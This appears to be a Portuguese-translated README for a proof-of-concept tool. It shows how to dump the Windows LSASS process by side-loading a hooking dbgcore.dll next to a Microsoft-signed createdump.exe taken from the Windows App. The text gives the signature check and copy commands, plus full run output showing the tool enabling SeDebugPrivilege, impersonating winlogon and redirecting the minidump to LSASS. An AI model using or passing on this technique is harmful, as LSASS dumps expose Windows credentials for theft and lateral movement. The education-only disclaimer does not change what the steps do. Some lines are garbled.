
Aproveite a ferramenta createdump do WindowsApp para obter um dump do lsass
Dump de LSASS do Windows App - Prova de ConceitoEste projeto demonstra como despejar o processo LSASS usando a ferramenta createdump.exe, um executável assinado pela Microsoft, do Windows App, aproveitando um hook personalizado para permitir o acesso do processo ao LSASS.
Get-AuthentiCodeSignature -FilePath (Join-Path -Path (Get-AppxPackage -Name *Windows365*).InstallLocation -ChildPath 'wnc\createdump.exe')
Directory: C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc
SignerCertificate Status StatusMessage Path
----------------- ------ ------------- ----
C2048FB509F1C37A8C3E9EC6648118458AA01780 Valid Signature verified. createdump.exe
copy C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc\createdump.exe .)dbgcore.dll deste repositório na mesma pastaA saída deve ser algo como:
c:\work\_createdump>createdump.exe
WindowsApp PoC by Remko Weijnen
(ab)uses createdump tool from "The Windows App" to create an LSASS dump
Successfully hooked OpenProcess
OpenProcess called
Attempting to enable SeDebugPrivilege...
SeDebugPrivilege successfully enabled!
Attempting to impersonate winlogon...
Successfully impersonated winlogon
[createdump] Writing minidump with heap for process 35828 to file C:\Users\me\AppData\Local\Temp\dump.35828.dmp
MiniDumpWriteDump called with:
ProcessId: 35828
hProcess: 0x0000000000000184
hFile: 0x00000000000001BC
DumpType: 0x41a25
ProcessId changed to LSASS (PID: 1512)
Loaded DbgHelp.dll from: C:\Windows\System32\DbgCore.dll
Calling original with:
ProcessId: 1512
hProcess: 0x0000000000000184
hFile: 0x00000000000001BC
DumpType: 0x41026
MiniDumpWriteDump result: Success
[createdump] Dump successfully written in 270ms
DLL unloading, hooks removed.
Este projeto destina-se apenas a fins educacionais. O uso indevido desta ferramenta pode violar políticas de privacidade e segurança.